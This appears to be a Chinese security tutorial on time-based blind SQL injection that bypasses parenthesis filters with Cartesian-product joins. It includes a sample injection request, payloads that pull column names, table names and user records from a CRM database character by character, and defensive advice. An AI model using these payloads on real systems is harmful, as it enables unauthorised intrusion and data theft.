记录使用笛卡尔积延时盲注绕过小括号过滤
字数 844 2025-08-05 11:39:37

笛卡尔积延时盲注绕过小括号过滤技术详解

0x01 技术背景

在SQL注入攻击中,当目标系统过滤了小括号时,传统的延时盲注技术(如使用SLEEP()BENCHMARK()等函数)将失效。本文介绍一种通过笛卡尔积(Cross Join)实现延时盲注的技术,有效绕过小括号过滤限制。

0x02 注入点识别

典型场景

  • 目标环境:PHP + MySQL
  • 注入类型:延时盲注
  • 过滤规则:过滤小括号()
  • 注入点示例:
    POST /techan/dialog_calendar HTTP/1.1
    Content-Type: application/x-www-form-urlencoded
    Host: xxx
    suitid=11  <-- 注入点参数
    

确认注入点

  1. 通过特殊字符触发报错,暴露SQL语句结构
  2. 确认小括号被过滤,常规延时函数无法使用

0x03 笛卡尔积延时原理

MySQL中,当执行多表JOIN操作(特别是笛卡尔积)时,会产生大量临时数据,导致查询时间显著增加。通过控制JOIN条件,可以实现类似SLEEP()的延时效果。

基础延时语句

SELECT * FROM table1 
UNION SELECT 1,2,3,4,5,6,7,b.column_name 
FROM information_schema.tables a 
JOIN information_schema.columns b 
JOIN information_schema.columns c 
WHERE 1=1  <-- 延时条件
  • WHERE 1=1:产生延时
  • WHERE 1=2:不延时

0x04 实战利用步骤

1. 获取列名

SELECT * FROM target_table 
UNION SELECT 1,2,3,4,5,6,7,b.column_name 
FROM information_schema.columns b 
WHERE b.column_name REGEXP BINARY '^a'  <-- 判断列名是否以'a'开头

技巧:

  • 使用REGEXP BINARY进行精确匹配
  • 通过遍历字符逐步获取完整列名:
    WHERE b.column_name REGEXP BINARY '^ad'
    WHERE b.column_name REGEXP BINARY '^adm'
    

2. 获取表名

方法与获取列名类似,从information_schema.tables查询:

SELECT * FROM target_table 
UNION SELECT 1,2,3,4,5,6,7,b.table_name 
FROM information_schema.tables b 
WHERE b.table_name REGEXP '^5k'

3. 获取表数据

已知表名(如5kcrm_user)和列名(如name)后:

SELECT * FROM target_table 
UNION SELECT 1,2,3,4,5,6,7,name 
FROM information_schema.columns b 
JOIN 5kcrm_user 
WHERE name REGEXP '^ad'  <-- 判断数据是否以'ad'开头

数据提取技巧:

  1. 先确定字段长度:
    WHERE LENGTH(name)=5  <-- 注意:LENGTH()可能需要其他方式绕过
    
  2. 逐字符爆破内容:
    WHERE name REGEXP '^a'
    WHERE name REGEXP '^ad'
    WHERE name REGEXP '^adm'
    

0x05 优化与绕过技巧

  1. 替代REGEXP:当REGEXP被过滤时,可使用LIKE

    WHERE name LIKE 'ad%'
    
  2. 处理大小写敏感

    WHERE name REGEXP BINARY '^Admin'  <-- 精确匹配大小写
    
  3. 减少请求次数:通过二分法加速爆破过程

  4. 多条件组合:同时判断多个条件

    WHERE name REGEXP '^ad' AND email REGEXP '^user'
    

0x06 防御建议

  1. 使用参数化查询或预处理语句
  2. 严格过滤所有用户输入
  3. 限制数据库用户权限
  4. 监控异常长时间查询
  5. 禁用错误信息回显

0x07 总结

笛卡尔积延时盲注技术通过利用多表JOIN操作产生的性能开销实现延时效果,有效绕过小括号过滤限制。攻击者可以逐步获取数据库结构信息并提取敏感数据。防御方应实施多层防护措施,特别是对JOIN操作和延时行为进行监控。

笛卡尔积延时盲注绕过小括号过滤技术详解 0x01 技术背景 在SQL注入攻击中,当目标系统过滤了小括号时,传统的延时盲注技术(如使用 SLEEP() 、 BENCHMARK() 等函数)将失效。本文介绍一种通过笛卡尔积(Cross Join)实现延时盲注的技术,有效绕过小括号过滤限制。 0x02 注入点识别 典型场景 目标环境:PHP + MySQL 注入类型:延时盲注 过滤规则:过滤小括号 () 注入点示例: 确认注入点 通过特殊字符触发报错,暴露SQL语句结构 确认小括号被过滤,常规延时函数无法使用 0x03 笛卡尔积延时原理 MySQL中,当执行多表JOIN操作(特别是笛卡尔积)时,会产生大量临时数据,导致查询时间显著增加。通过控制JOIN条件,可以实现类似 SLEEP() 的延时效果。 基础延时语句 WHERE 1=1 :产生延时 WHERE 1=2 :不延时 0x04 实战利用步骤 1. 获取列名 技巧: 使用 REGEXP BINARY 进行精确匹配 通过遍历字符逐步获取完整列名: 2. 获取表名 方法与获取列名类似,从 information_schema.tables 查询: 3. 获取表数据 已知表名(如 5kcrm_user )和列名(如 name )后: 数据提取技巧: 先确定字段长度: 逐字符爆破内容: 0x05 优化与绕过技巧 替代 REGEXP :当 REGEXP 被过滤时,可使用 LIKE 处理大小写敏感 : 减少请求次数 :通过二分法加速爆破过程 多条件组合 :同时判断多个条件 0x06 防御建议 使用参数化查询或预处理语句 严格过滤所有用户输入 限制数据库用户权限 监控异常长时间查询 禁用错误信息回显 0x07 总结 笛卡尔积延时盲注技术通过利用多表JOIN操作产生的性能开销实现延时效果,有效绕过小括号过滤限制。攻击者可以逐步获取数据库结构信息并提取敏感数据。防御方应实施多层防护措施,特别是对JOIN操作和延时行为进行监控。